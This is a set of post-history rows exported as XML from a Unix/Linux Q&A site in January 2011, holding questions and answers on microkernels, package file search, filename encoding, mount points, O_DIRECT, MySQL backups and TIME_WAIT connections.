  <row Id="14759" PostHistoryTypeId="2" PostId="6458" RevisionGUID="faa15ff7-5ffa-465f-989f-e0889d7dda66" CreationDate="2011-01-25T22:35:37.903" UserId="885" Text="[Microkernels](http://en.wikipedia.org/wiki/Microkernel) require less code to be run in the innermost, most trusted mode than [monolithic kernels](http://en.wikipedia.org/wiki/Monolithic_kernels). This has many aspects, such as:&#xD;&#xA;&#xD;&#xA;* Microkernels allow non-fundamental features (such as drivers for hardware that is not connected or not in use) to be loaded and unloaded at will. This is mostly achievable on Linux, through modules.&#xD;&#xA;* Microkernels are more robust: if a non-kernel component crashes, it won't take the whole system with it. A buggy filesystem or device driver can crash a Linux system. Linux doesn't have any way to mitigate these problems other than coding practices and testing.&#xD;&#xA;* Microkernels have a smaller [trusted computing base](http://en.wikipedia.org/wiki/Trusted_computing_base). So even a malicious device driver or filesystem cannot take control of the whole system (for example a driver of dubious origin for your latest USB gadget wouldn't be able to read your hard disk).&#xD;&#xA;* A consequence of the previous point is that ordinary users can load their own components that would be kernel components in a monolithic kernel.&#xD;&#xA;&#xD;&#xA;Unix GUIs are provided via X window, which is userland code (except for (part of) the video device driver). Many modern unices allow ordinary users to load filesystem drivers through [FUSE](http://fuse.sourceforge.net/). Some of the Linux network packet filtering can be done in userland. However, device drivers, schedulers, memory managers, and most networking protocols are still kernel-only.&#xD;&#xA;&#xD;&#xA;A classic (if dated) read about Linux and microkernels is the [Tanenbaum–Torvalds debate](http://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate). Twenty years later, one could say that Linux is very very slowly moving towards a microkernel structure (loadable modules appeared early on, FUSE is more recent), but there is still a long way to go.&#xD;&#xA;&#xD;&#xA;Another thing that has changed is the increased relevance of [virtualization](http://en.wikipedia.org/wiki/Virtual_machine) on desktop and high-end embedded computers: for some purposes, the relevant distinction is not between the kernel and userland but between the [hypervisor](http://en.wikipedia.org/wiki/Hypervisor) and the guest OSes.&#xD;&#xA;" />
  <row Id="14760" PostHistoryTypeId="25" PostId="6456" RevisionGUID="f8b48714-7822-4842-af6e-93edbacc848c" CreationDate="2011-01-25T22:55:52.197" Comment="http://twitter.com/#!/StackUnix/status/30036155130978304" />
  <row Id="14761" PostHistoryTypeId="5" PostId="6314" RevisionGUID="6f9fad6d-dd0a-423b-9d72-bd8901ac78ce" CreationDate="2011-01-25T23:01:18.740" UserId="3069" Comment="pkgfile" Text="**apt-file**&#xD;&#xA;&#xD;&#xA;`apt-file` provides the feature of searching for a package providing a binary (like [Debian][1] or [Ubuntu][2]), it is not installed by default but in the repositories.&#xD;&#xA;&#xD;&#xA;    apt-file search &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;For example, let's search for the not installed binary `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ apt-file search /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldump&#xD;&#xA;    mysql-cluster-client-5.1: /usr/bin/mysqldumpslow&#xD;&#xA;&#xD;&#xA;It's also possible to list the contents of a (not-installed) package:&#xD;&#xA;&#xD;&#xA;    $ apt-file list mysql-client-5.1&#xD;&#xA;&#xD;&#xA;    mysql-client-5.1: /usr/bin/innochecksum&#xD;&#xA;    mysql-client-5.1: /usr/bin/innotop&#xD;&#xA;    mysql-client-5.1: /usr/bin/myisam_ftdump&#xD;&#xA;    mysql-client-5.1: /usr/bin/mysql_client_test&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**yum**&#xD;&#xA;&#xD;&#xA;`yum` accepts the command `whatprovides` (or `provides`) to search for installed or not installed binaries:&#xD;&#xA;&#xD;&#xA;    yum whatprovides &lt;path-to-file&gt;&#xD;&#xA;&#xD;&#xA;Again, the not installed `mysqldump`:&#xD;&#xA;&#xD;&#xA;    $ yum whatprovides /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-5.1.51-2.fc14.i686 : MySQL client programs and shared libraries&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from: &#xD;&#xA;    Filename    : /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    mysql-5.1.51-1.fc14.i686 : MySQL client programs and shared libraries&#xD;&#xA;    Repo        : fedora&#xD;&#xA;    Matched from: &#xD;&#xA;    Filename    : /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**zypper**&#xD;&#xA;&#xD;&#xA;[tag:opensuse]'s`zypper` does include the command `what-provides` and concerning the manual, this should also search through the contents of not installed packages. Apparently, it does not work like intended. There is a [request][3] for this feature.&#xD;&#xA;&#xD;&#xA;[Webpin][4] provides a webbased solution, there is even a [script][5] for the command-line.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**pkgfile**&#xD;&#xA;&#xD;&#xA;Available as `pkgtools` for `pacman` based systems. Provides a similar search feature like the others above:&#xD;&#xA;&#xD;&#xA;    $ pkgfile -si /usr/bin/mysqldump&#xD;&#xA;&#xD;&#xA;    Name      : mysql-clients&#xD;&#xA;    Version   : 5.1.54-1&#xD;&#xA;    Url       : http://www.mysql.com/&#xD;&#xA;    License   : GPL&#xD;&#xA;    Depends   : libmysqlclient&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org&#xD;&#xA;  [2]: http://packages.ubuntu.com&#xD;&#xA;  [3]: https://features.opensuse.org/308437&#xD;&#xA;  [4]: http://packages.opensuse-community.org/&#xD;&#xA;  [5]: http://dev-loki.blogspot.com/2007/07/webpin-command-line-client.html" />
  <row Id="14762" PostHistoryTypeId="2" PostId="6459" RevisionGUID="f0f52767-dc7a-4d66-8ce3-d7f3850f12da" CreationDate="2011-01-26T00:10:39.533" UserId="4148" Text="What exactly are the implications? Can a 32 bit linux run applications that are compiled as 64 bit? Or vice versa?&#xD;&#xA;&#xD;&#xA;I just got a new machine with an i5 processor, I installed a copy of Ubuntu 10.10 which seems to be i686 which I new realize is 32 bit, but I think I have some 64 bit apps installed. Can this be right? " />
  <row Id="14763" PostHistoryTypeId="1" PostId="6459" RevisionGUID="f0f52767-dc7a-4d66-8ce3-d7f3850f12da" CreationDate="2011-01-26T00:10:39.533" UserId="4148" Text="What's the difference between 32 and 64 bit linux?" />
  <row Id="14764" PostHistoryTypeId="3" PostId="6459" RevisionGUID="f0f52767-dc7a-4d66-8ce3-d7f3850f12da" CreationDate="2011-01-26T00:10:39.533" UserId="4148" Text="éubuntuàé64bità" />
  <row Id="14765" PostHistoryTypeId="2" PostId="6460" RevisionGUID="91b6807c-d139-4a0b-88d9-c0dd15aa6473" CreationDate="2011-01-26T00:17:53.670" UserId="4185" Text="I have a bunch of directories and subdirectories that contain files with special characters, like this file:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ ls test�sktest.txt &#xD;&#xA;    test?sktest.txt&#xD;&#xA;&#xD;&#xA;Find reveals an escape sequence:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ find test�sktest.txt -ls &#xD;&#xA;    424512 4000 -rwxr--r-x   1 robbie   robbie    4091743 Jan 26 00:34 test\323sktest.txt&#xD;&#xA;&#xD;&#xA;The only reason I can even type their names on the console is because of tab completion. This also means I can rename them manually (and manually strip the special character).&#xD;&#xA;&#xD;&#xA;I've set LC_ALL to UTF-8, but I still can't display those characters (also not on a new shell):&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ echo $LC_ALL&#xD;&#xA;    en_US.UTF-8&#xD;&#xA;&#xD;&#xA;I'm connecting to the machine using ssh from my mac. It's an Ubuntu install:&#xD;&#xA;&#xD;&#xA;    robbie@phil:~$ cat /etc/lsb-release &#xD;&#xA;    DISTRIB_ID=Ubuntu&#xD;&#xA;    DISTRIB_RELEASE=7.10&#xD;&#xA;    DISTRIB_CODENAME=gutsy&#xD;&#xA;    DISTRIB_DESCRIPTION=&quot;Ubuntu 7.10&quot;&#xD;&#xA;&#xD;&#xA;Shell is Bash, TERM is set to xterm-color.&#xD;&#xA;&#xD;&#xA;These files have been there for quite a while, and they have not been created using that install of Ubuntu. So I don't know what the system encoding settings used to be.&#xD;&#xA;&#xD;&#xA;I've tried things along the lines of:&#xD;&#xA;&#xD;&#xA;    find . -type f -ls | sed 's/[^a-zA-Z0-9]//g'&#xD;&#xA;&#xD;&#xA;But I can't find a solution that does everything I want:&#xD;&#xA;&#xD;&#xA; 1. Identify all files that have undisplayable characters (the above ignores way too much)&#xD;&#xA; 2. For all those files in a directory tree (recursively), execute mv oldname newname&#xD;&#xA; 3. Optionally, the ability to transliterate special characters such as ä to a (not required, but would be awesome)&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA; 1. Correctly display all these files (and no errors in applications when trying to open them)&#xD;&#xA;&#xD;&#xA;I have bits and pieces, like iterating over all files and moving them is easy, but identifying the files and formatting them correctly for the mv command seems to be the hard part.&#xD;&#xA;&#xD;&#xA;Any extra information as to why they do not display correctly, or how to &quot;guess&quot; the correct encoding are also welcome. (I've tried convmv but it doesn't seem to do exactly what I want: http://j3e.de/linux/convmv/)" />
  <row Id="14766" PostHistoryTypeId="1" PostId="6460" RevisionGUID="91b6807c-d139-4a0b-88d9-c0dd15aa6473" CreationDate="2011-01-26T00:17:53.670" UserId="4185" Text="bulk rename (or correctly display) files with special characters" />
  <row Id="14767" PostHistoryTypeId="3" PostId="6460" RevisionGUID="91b6807c-d139-4a0b-88d9-c0dd15aa6473" CreationDate="2011-01-26T00:17:53.670" UserId="4185" Text="éshellàébashàéubuntuàéfilesystemsàécharacteröencodingà" />
  <row Id="14768" PostHistoryTypeId="2" PostId="6461" RevisionGUID="e7ec1387-11cc-4672-86fd-43c45207f4ab" CreationDate="2011-01-26T00:39:14.680" UserId="4135" Text="You need a 64bit Operating System to run applications compiled for 64bit systems. You will, however, be able to run 32bit applications as well. It just doesn't work the other way around." />
  <row Id="14769" PostHistoryTypeId="2" PostId="6462" RevisionGUID="7151184f-f345-496f-affb-aedb4ce071f7" CreationDate="2011-01-26T00:46:56.647" UserId="431" Text="&#xD;&#xA;There is a mount point at /mnt/mountname and it goes to a large SAN with lots of storage but it's mounted as a read-only filesystem. I want to add a mount point with a different name that's read-write. I've looked in /etc/fstab and /etc/vfstab (which doesn't exist) and there is nothing there that mentions /mnt/mountname. Where else can I look?" />
  <row Id="14770" PostHistoryTypeId="1" PostId="6462" RevisionGUID="7151184f-f345-496f-affb-aedb4ce071f7" CreationDate="2011-01-26T00:46:56.647" UserId="431" Text="Where are the mount points defined in CentOS?" />
  <row Id="14771" PostHistoryTypeId="3" PostId="6462" RevisionGUID="7151184f-f345-496f-affb-aedb4ce071f7" CreationDate="2011-01-26T00:46:56.647" UserId="431" Text="éfilesystemsàémountà" />
  <row Id="14772" PostHistoryTypeId="2" PostId="6463" RevisionGUID="874324b3-e97f-4e47-9e40-197f15aac8c9" CreationDate="2011-01-26T00:48:34.563" UserId="4192" Text="I'm nested deep in a file tree, and I'd like to find which parent directory contains a file.&#xD;&#xA;&#xD;&#xA;E.g. I'm in a set of nested Git repositories and want to find the .git directory controlling the files I'm currently at. I'd hope for something like find -searchup -iname &quot;.git&quot;" />
  <row Id="14773" PostHistoryTypeId="1" PostId="6463" RevisionGUID="874324b3-e97f-4e47-9e40-197f15aac8c9" CreationDate="2011-01-26T00:48:34.563" UserId="4192" Text="find searching in parent directories instead of subdirectories" />
  <row Id="14774" PostHistoryTypeId="3" PostId="6463" RevisionGUID="874324b3-e97f-4e47-9e40-197f15aac8c9" CreationDate="2011-01-26T00:48:34.563" UserId="4192" Text="éfindà" />
  <row Id="14775" PostHistoryTypeId="2" PostId="6464" RevisionGUID="dca6359d-9870-44e2-a5d5-71b25c069d1a" CreationDate="2011-01-26T00:54:31.660" UserId="885" Text="I guess you see this `�` invalid character because the name contains a byte sequence that isn't valid UTF-8. File names on typical unix filesystems (including yours) are byte strings, and it's up to applications to decide on what encoding to use. Nowadays, there is a trend to use UTF-8, but it's not universal, especially in locales that could never live with plain ASCII and have been using other encodings since before UTF-8 even existed.&#xD;&#xA;&#xD;&#xA;Try `LC_CTYPE=en_US.iso88591 ls` to see if the file name makes sense in ISO-8859-1 (latin-1). If it doesn't, try other locales. Note that only the `LC_CTYPE` locale setting matters here.&#xD;&#xA;&#xD;&#xA;In a UTF-8 locale, the following command will show you all files whose name is not valid UTF-8:&#xD;&#xA;&#xD;&#xA;    find | grep '[[:print:]]'&#xD;&#xA;&#xD;&#xA;You can check if they make more sense in another locale with [recode](http://manpages.ubuntu.com/manpages/lucid/man1/recode.1.html) or [iconv](http://manpages.ubuntu.com/manpages/lucid/man1/iconv.1.html):&#xD;&#xA;&#xD;&#xA;    find | grep '[[:print:]]' | recode utf8..latin1&#xD;&#xA;    find | grep '[[:print:]]' | iconf -f utf8 -t latin1&#xD;&#xA;&#xD;&#xA;Once you've determined that a bunch of file names are in a certain encoding (e.g. latin1), one way to rename them is&#xD;&#xA;&#xD;&#xA;    find | grep '[[:print:]]' |&#xD;&#xA;    rename 'BEGIN {binmode STDIN, &quot;:encoding(latin1)&quot;; use Encode;}&#xD;&#xA;            $_=encode(&quot;utf8&quot;, $_)'&#xD;&#xA;&#xD;&#xA;This uses the perl [rename](http://manpages.ubuntu.com/manpages/lucid/man1/iconv.1.html) command available on Debian and Ubuntu. You can pass it `-n` to show what it would be doing without actually renaming the files.&#xD;&#xA;" />
  <row Id="14776" PostHistoryTypeId="6" PostId="6460" RevisionGUID="443291b3-e3b8-422f-8407-3b30d387f1f6" CreationDate="2011-01-26T00:55:05.980" UserId="885" Comment="edited tags" Text="éshellàéubuntuàécharacteröencodingàéfilenamesàérenameà" />
  <row Id="14777" PostHistoryTypeId="2" PostId="6465" RevisionGUID="b42c30d9-08c4-43eb-a311-3b0a98f98872" CreationDate="2011-01-26T01:01:05.130" UserId="885" Text="Find can't do it. I can't think of anything simpler than a shell loop. (Untested, assumes there is no `/.git`)&#xD;&#xA;&#xD;&#xA;    git_root=$(pwd -P 2&gt;/dev/null || command pwd)&#xD;&#xA;    while [ ! -e &quot;$git_root/.git&quot; ]; do&#xD;&#xA;      git_root=${git_root%/*}&#xD;&#xA;      if [ &quot;$git_root&quot; = &quot;&quot; ]; then break; fi&#xD;&#xA;    done&#xD;&#xA;" />
  <row Id="14778" PostHistoryTypeId="6" PostId="6463" RevisionGUID="712dd199-3181-43ac-938c-65230c1e38eb" CreationDate="2011-01-26T01:01:15.303" UserId="885" Comment="edited tags" Text="éshellàéfindà" />
  <row Id="14779" PostHistoryTypeId="5" PostId="6464" RevisionGUID="5950f98d-febb-4bca-9e83-a198df073b0a" CreationDate="2011-01-26T01:28:15.950" UserId="1207" Comment="fixed typo iconf-&gt;iconv" Text="I guess you see this `�` invalid character because the name contains a byte sequence that isn't valid UTF-8. File names on typical unix filesystems (including yours) are byte strings, and it's up to applications to decide on what encoding to use. Nowadays, there is a trend to use UTF-8, but it's not universal, especially in locales that could never live with plain ASCII and have been using other encodings since before UTF-8 even existed.&#xD;&#xA;&#xD;&#xA;Try `LC_CTYPE=en_US.iso88591 ls` to see if the file name makes sense in ISO-8859-1 (latin-1). If it doesn't, try other locales. Note that only the `LC_CTYPE` locale setting matters here.&#xD;&#xA;&#xD;&#xA;In a UTF-8 locale, the following command will show you all files whose name is not valid UTF-8:&#xD;&#xA;&#xD;&#xA;    find | grep '[[:print:]]'&#xD;&#xA;&#xD;&#xA;You can check if they make more sense in another locale with [recode](http://manpages.ubuntu.com/manpages/lucid/man1/recode.1.html) or [iconv](http://manpages.ubuntu.com/manpages/lucid/man1/iconv.1.html):&#xD;&#xA;&#xD;&#xA;    find | grep '[[:print:]]' | recode utf8..latin1&#xD;&#xA;    find | grep '[[:print:]]' | iconv -f utf8 -t latin1&#xD;&#xA;&#xD;&#xA;Once you've determined that a bunch of file names are in a certain encoding (e.g. latin1), one way to rename them is&#xD;&#xA;&#xD;&#xA;    find | grep '[[:print:]]' |&#xD;&#xA;    rename 'BEGIN {binmode STDIN, &quot;:encoding(latin1)&quot;; use Encode;}&#xD;&#xA;            $_=encode(&quot;utf8&quot;, $_)'&#xD;&#xA;&#xD;&#xA;This uses the perl [rename](http://manpages.ubuntu.com/manpages/lucid/man1/iconv.1.html) command available on Debian and Ubuntu. You can pass it `-n` to show what it would be doing without actually renaming the files.&#xD;&#xA;" />
  <row Id="14780" PostHistoryTypeId="2" PostId="6466" RevisionGUID="46affc24-3a64-4d44-9a36-2320efbe01ec" CreationDate="2011-01-26T01:35:18.457" UserId="3852" Text="The mount mounts are defined at /etc/fstab however the file system mounted at /mnt/mountname may have been mounted &quot;by hand&quot; or something may have mounted it after the system started. IE, someone may have have just typed the following in the terminal to mount it:&#xD;&#xA; &#xD;&#xA;    mount /dev/foo /mnt/mountname&#xD;&#xA;&#xD;&#xA;If you want to add /mnt/mountname to /etc/fstab and/or want to use it as a template for the new one you're adding, you can run the following to show you what the line in /etc/fstab should look like:&#xD;&#xA;    &#xD;&#xA;    cat /etc/mtab&#xD;&#xA;&#xD;&#xA;If that doesn't work, try 'cat /proc/mounts'." />
  <row Id="14781" PostHistoryTypeId="25" PostId="6460" RevisionGUID="3615e4bb-63a0-4dab-9c5f-f6df6087bdf9" CreationDate="2011-01-26T01:55:52.133" Comment="http://twitter.com/#!/StackUnix/status/30081453224099841" />
  <row Id="14782" PostHistoryTypeId="2" PostId="6467" RevisionGUID="2837f6fd-3657-4a56-91ff-e4cf932018ac" CreationDate="2011-01-26T02:50:48.770" UserId="4193" Text="If this question is too programmer oriented, let me know.  I wonder if there are people familiar with the O_DIRECT flag for the open() system call on Linux 2.6?  Linus disparages its use, however high performance file writing seems to indicate its use.  I would like to know of any real world experience and recommendations." />
  <row Id="14783" PostHistoryTypeId="1" PostId="6467" RevisionGUID="2837f6fd-3657-4a56-91ff-e4cf932018ac" CreationDate="2011-01-26T02:50:48.770" UserId="4193" Text="Use of O_DIRECT on Linux" />
  <row Id="14784" PostHistoryTypeId="3" PostId="6467" RevisionGUID="2837f6fd-3657-4a56-91ff-e4cf932018ac" CreationDate="2011-01-26T02:50:48.770" UserId="4193" Text="élinuxàéprogrammingà" />
  <row Id="14785" PostHistoryTypeId="2" PostId="6468" RevisionGUID="e2441a0f-8201-4181-bacb-a20ccc3e827d" CreationDate="2011-01-26T03:46:08.497" UserId="2657" Text="My OS is Ubuntu 10.10.&#xD;&#xA;I have several small sites (all on various shared hosts) and I'm thinking that it'd be probably good idea to regularly backup mysql databases from these remote shared hosts. I currently do it manually and it seem to be while not laborious but definitely boring process (phpmyadmin). :)&#xD;&#xA;&#xD;&#xA;How would you guys go about it (no shh access available)?&#xD;&#xA;&#xD;&#xA;If do it like this: &#xD;&#xA;&#xD;&#xA;    mysqldump -u root -p[root_password] [database_name] -h mysql_host &gt; dumpfilename.sql&#xD;&#xA;&#xD;&#xA;does that mean that password is being transferred in plain text?:&#xD;&#xA;&#xD;&#xA;Thanks.:)" />
  <row Id="14786" PostHistoryTypeId="1" PostId="6468" RevisionGUID="e2441a0f-8201-4181-bacb-a20ccc3e827d" CreationDate="2011-01-26T03:46:08.497" UserId="2657" Text="Multiple Mysql databases backup tool?" />
  <row Id="14787" PostHistoryTypeId="3" PostId="6468" RevisionGUID="e2441a0f-8201-4181-bacb-a20ccc3e827d" CreationDate="2011-01-26T03:46:08.497" UserId="2657" Text="élinuxàébackupàémysqlà" />
  <row Id="14788" PostHistoryTypeId="5" PostId="6411" RevisionGUID="b8ba2c54-0d5a-4cef-b988-0056144cc1f9" CreationDate="2011-01-26T04:06:57.120" UserId="4153" Comment="added 38 characters in body" Text="I have two drives with the same files, but the directory structure is totally different.&#xD;&#xA;&#xD;&#xA;Is there any way to 'move' all the files on the destination side so that they match the structure of the source side? With a script perhaps?  &#xD;&#xA;&#xD;&#xA;For example, drive A has:  &#xD;&#xA;&#xD;&#xA;    /foo/bar/123.txt&#xD;&#xA;    /foo/bar/234.txt&#xD;&#xA;    /foo/bar/dir/567.txt&#xD;&#xA;&#xD;&#xA;Whereas drive B has:&#xD;&#xA;&#xD;&#xA;    /some/other/path/123.txt&#xD;&#xA;    /bar/doo2/wow/234.txt&#xD;&#xA;    /bar/doo/567.txt&#xD;&#xA;&#xD;&#xA;The files in question are huge (800GB), so I don't want to re-copy them; I just want to sync the structure by creating the necessary directories and moving the files.&#xD;&#xA;&#xD;&#xA;I was thinking of a recursive script that would find each source file on the destination, then move it to a matching directory, creating it if necessary. But that's beyond my abilities ...&#xD;&#xA;&#xD;&#xA;Any help greatly appreciated!&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14789" PostHistoryTypeId="2" PostId="6469" RevisionGUID="a6f072a0-4946-4e24-b214-f8660df6cb7e" CreationDate="2011-01-26T04:39:50.473" UserId="250" Text="Specifying the password that way is just insecure on [your machine][1]. Over the network it's just the same way that MySQL clients connect to your database. As far as I [read][2], the username and password are hashed, so you are not sending your password in plain text.&#xD;&#xA;&#xD;&#xA;In your situation I would write a simple wrapper script, something like&#xD;&#xA;&#xD;&#xA;    for host in host1 host2 host3&#xD;&#xA;        do mysqldump ...&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/doc/refman/5.1/en/password-security-user.html&#xD;&#xA;  [2]: http://dev.mysql.com/doc/refman/5.5/en/old-client.html" />
  <row Id="14790" PostHistoryTypeId="2" PostId="6470" RevisionGUID="ae1dce40-a720-4f37-8822-9af128f09f34" CreationDate="2011-01-26T04:54:34.680" UserId="1779" Text="    git rev-parse --show-toplevel&#xD;&#xA;&#xD;&#xA;will print out the top level directory of the current repository, if you are in one.&#xD;&#xA;&#xD;&#xA;Other related options:&#xD;&#xA;&#xD;&#xA;    # `pwd` is inside a git-controlled repository&#xD;&#xA;    git rev-parse --is-inside-work-tree&#xD;&#xA;    # `pwd` is inside the .git directory&#xD;&#xA;    git rev-parse --is-inside-git-dir&#xD;&#xA;&#xD;&#xA;    # path to the .git directory (may be relative or absolute)&#xD;&#xA;    git rev-parse --git-dir&#xD;&#xA;&#xD;&#xA;    # inverses of each other:&#xD;&#xA;    # `pwd` relative to root of repository&#xD;&#xA;    git rev-parse --show-prefix&#xD;&#xA;    # root of repository relative to `pwd`&#xD;&#xA;    git rev-parse --show-cdup" />
  <row Id="14791" PostHistoryTypeId="25" PostId="6463" RevisionGUID="be465a4b-f1c7-4255-97ae-197cce44c20a" CreationDate="2011-01-26T04:55:51.697" Comment="http://twitter.com/#!/StackUnix/status/30126750201552896" />
  <row Id="14792" PostHistoryTypeId="2" PostId="6471" RevisionGUID="a4c49e44-e5b8-43c2-8dd3-59c9304bcc5e" CreationDate="2011-01-26T05:17:49.430" UserId="1627" Text="Ok, you ask for experiences, this makes the question a little subjective and argumentative, but passable.&#xD;&#xA;&#xD;&#xA;Linus said that referring to the uses that people usually attribute to O_DIRECT, and for those uses, IMO Linus is mostly correct. Even if you do direct I/O, you cannot transfer data to/from devices directly to your program statements, you need a buffer that is filled (by the program or the device) and transferred through a system call to the other end. Also, to make it efficient, you will not want to reread something you just already read, in case you need it again. So you need some sort of cache... and it is exactly that that the kernel provides without O_DIRECT, a page cache! Why not use that? It also comes with benefits if more processes want to access the same file concurrently, it would be a disaster with O_DIRECT.&#xD;&#xA;&#xD;&#xA;Having said that, O_DIRECT has its uses: If for some reason you need to get data directly from the block device. It has nothing to do with performance.&#xD;&#xA;&#xD;&#xA;People using O_DIRECT for performance usually come from systems with bad page cache algorithms, or without POSIX advice mechanisms, or even people mindlessly repeating what other people have said. To avoid these problems, O_DIRECT was a solution. Linux, OTOH, has the philosophy that you should fix the real underlying problem, and the underlying problem was OSs that did a bad job with page caching.&#xD;&#xA;&#xD;&#xA;[I have used O_DIRECT](http://superuser.com/questions/206526/memory-cache-losing-sync-with-disk) for a simple implementation of cat to find a memory error in my machine. This is one valid use for O_DIRECT. There is nothing to do with performance." />
  <row Id="14793" PostHistoryTypeId="5" PostId="6471" RevisionGUID="99a79957-a57a-453f-b9df-1a6d9c2ee012" CreationDate="2011-01-26T05:24:41.153" UserId="1627" Comment="grammar" Text="Ok, you ask for experiences, this makes the question a little subjective and argumentative, but passable.&#xD;&#xA;&#xD;&#xA;Linus said that referring to the uses that people usually attribute to O_DIRECT, and for those uses, IMO Linus is mostly correct. Even if you do direct I/O, you cannot transfer data to/from devices directly to your program statements, you need a buffer that is filled (by the program or the device) and transferred through a system call to the other end. Also, to make it efficient, you will not want to reread something you just already read, in case you need it again. So you need some sort of cache... and it is exactly that that the kernel provides without O_DIRECT, a page cache! Why not use that? It also comes with benefits if more processes want to access the same file concurrently, it would be a disaster with O_DIRECT.&#xD;&#xA;&#xD;&#xA;Having said that, O_DIRECT has its uses: If for some reason you need to get data directly from the block device. It has nothing to do with performance.&#xD;&#xA;&#xD;&#xA;People using O_DIRECT for performance usually come from systems with bad page cache algorithms, or without POSIX advice mechanisms, or even people mindlessly repeating what other people have said. To avoid these problems, O_DIRECT was a solution. Linux, OTOH, has the philosophy that you should fix the real underlying problem, and the underlying problem was OSs that did a bad job with page caching.&#xD;&#xA;&#xD;&#xA;[I used O_DIRECT](http://superuser.com/questions/206526/memory-cache-losing-sync-with-disk) for a simple implementation of cat to find a memory error in my machine. This is one valid use for O_DIRECT. There is nothing to do with performance." />
  <row Id="14794" PostHistoryTypeId="2" PostId="6472" RevisionGUID="2140aad3-ed67-4c84-be1a-fe0f53b04120" CreationDate="2011-01-26T06:31:19.473" UserId="4195" Text="Look into `rsstail`, especially `-oil` options" />
  <row Id="14795" PostHistoryTypeId="2" PostId="6473" RevisionGUID="19e486a6-b79b-4a86-9f0c-fe80d945d6c1" CreationDate="2011-01-26T06:53:48.737" UserId="3913" Text="Hi Unix/Linux Gurus out there!&#xD;&#xA;&#xD;&#xA;I need a solid proof that TIME_WAIT (a lot of it actually) is the real culprit in the slowdown in one of our servers. The server is hosted on Parallels Baremetal virtualization, and the actual server is a VM: CentOS5 with dual CPU and 2GB RAM.&#xD;&#xA;&#xD;&#xA;A week ago, we started to notice that it was too slow that even doing an 'ls' on a directory with just a few files in there(around 20) would need around 1.5 seconds to display the results.&#xD;&#xA;&#xD;&#xA;I tried doing vmstat but it doesn't seem to be even using it's swap. No bottlenecks on the network. But running &quot;top&quot;, you'd see java mostly hogging the resource. Java is needed since this VM is our hudson server.&#xD;&#xA;&#xD;&#xA;One of my colleagues tried checking the connections via &#xD;&#xA;&#xD;&#xA;&gt; $ vmstat -vatpno&#xD;&#xA;&#xD;&#xA;And noticed that there where a lot of connections in TIME_WAIT...around 300+. So we tried applying some of the recommendations in this page http://www.speedguide.net/articles/linux-tweaking-121 particularly that of TCP_FIN_TIMEOUT, TCP_KEEPALIVE_INTERVAL &amp; TCP_KEEPALIVE_PROBES. The connections in TIME_WAIT went lower but still fluctuates between 220 to 280(maybe due to the fact that a new connection is added from time to time and other connections in TIME_WAIT is not yet &quot;timed-out&quot;). Perhaps we could try adding TCP_TW_RECYCLE &amp; TCP_TW_REUSE later when we don't see any improvement.&#xD;&#xA;&#xD;&#xA;Now going back to my main question: is there a solid evidence that a lot of TIME_WAIT'ed connections eat up a lot of RAM?&#xD;&#xA;&#xD;&#xA;Thanks in advance,&#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)" />
  <row Id="14796" PostHistoryTypeId="1" PostId="6473" RevisionGUID="19e486a6-b79b-4a86-9f0c-fe80d945d6c1" CreationDate="2011-01-26T06:53:48.737" UserId="3913" Text="Need further explanation on TIME_WAIT" />
  <row Id="14797" PostHistoryTypeId="3" PostId="6473" RevisionGUID="19e486a6-b79b-4a86-9f0c-fe80d945d6c1" CreationDate="2011-01-26T06:53:48.737" UserId="3913" Text="étcpà" />
  <row Id="14798" PostHistoryTypeId="2" PostId="6474" RevisionGUID="33d73f82-3855-412a-8c37-9e864f0c47de" CreationDate="2011-01-26T07:07:12.753" UserId="1474" Text="Note that using `O_DIRECT` is liable to fail in newer kernels with newer file systems.  See [this bug report][1] for example.  So not only is the use often dubious, it will likely not work at all in the coming generation of Linux distributions.  So I would not bet the performance of my code on it, even if you happen to be able to prove that it might have a benefit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugzilla.redhat.com/show_bug.cgi?format=multiple&amp;id=567113" />
  <row Id="14799" PostHistoryTypeId="2" PostId="6475" RevisionGUID="9a6f402e-5eba-4fda-87f5-b8e30e89f94b" CreationDate="2011-01-26T07:23:34.610" UserId="4196" Text="You do not need samba-client for that.  What you need is the smbfs or cifs kernel module.  smbfs is deprecated and should not be used (unless you can't use cifs for some reason.  e.g. your distribution is too old or perhaps you're trying to connect to a Win95 box or something.)&#xD;&#xA;&#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;    # lsmod | grep cifs&#xD;&#xA;    # modprobe cifs&#xD;&#xA;    # lsmod | grep cifs&#xD;&#xA;    cifs                  279398  0 &#xD;&#xA;    # grep cifs /proc/filesystems&#xD;&#xA;    nodev	cifs&#xD;&#xA;&#xD;&#xA;Then try with `mount -t cifs ...` as mentioned by Gilles.&#xD;&#xA;&#xD;&#xA;If that doesn't work, you can access the files using smbclient (e.g.) instead of mounting the filesystem.  smbclient is in the samba-client and gives you an interface similar to a command line FTP client.&#xD;&#xA;&#xD;&#xA;To &quot;mount [...] other RHEL&quot;, there are various options.  You could use NFS (in which case you would have to set up an NFS server on the machine you want to mount.)  Another possibility is sshfs, in which case all you need on the server is an SSH server, but the client will need sshfs, which needs fuse.  I don't know if RHEL 5.5 supports fuse.  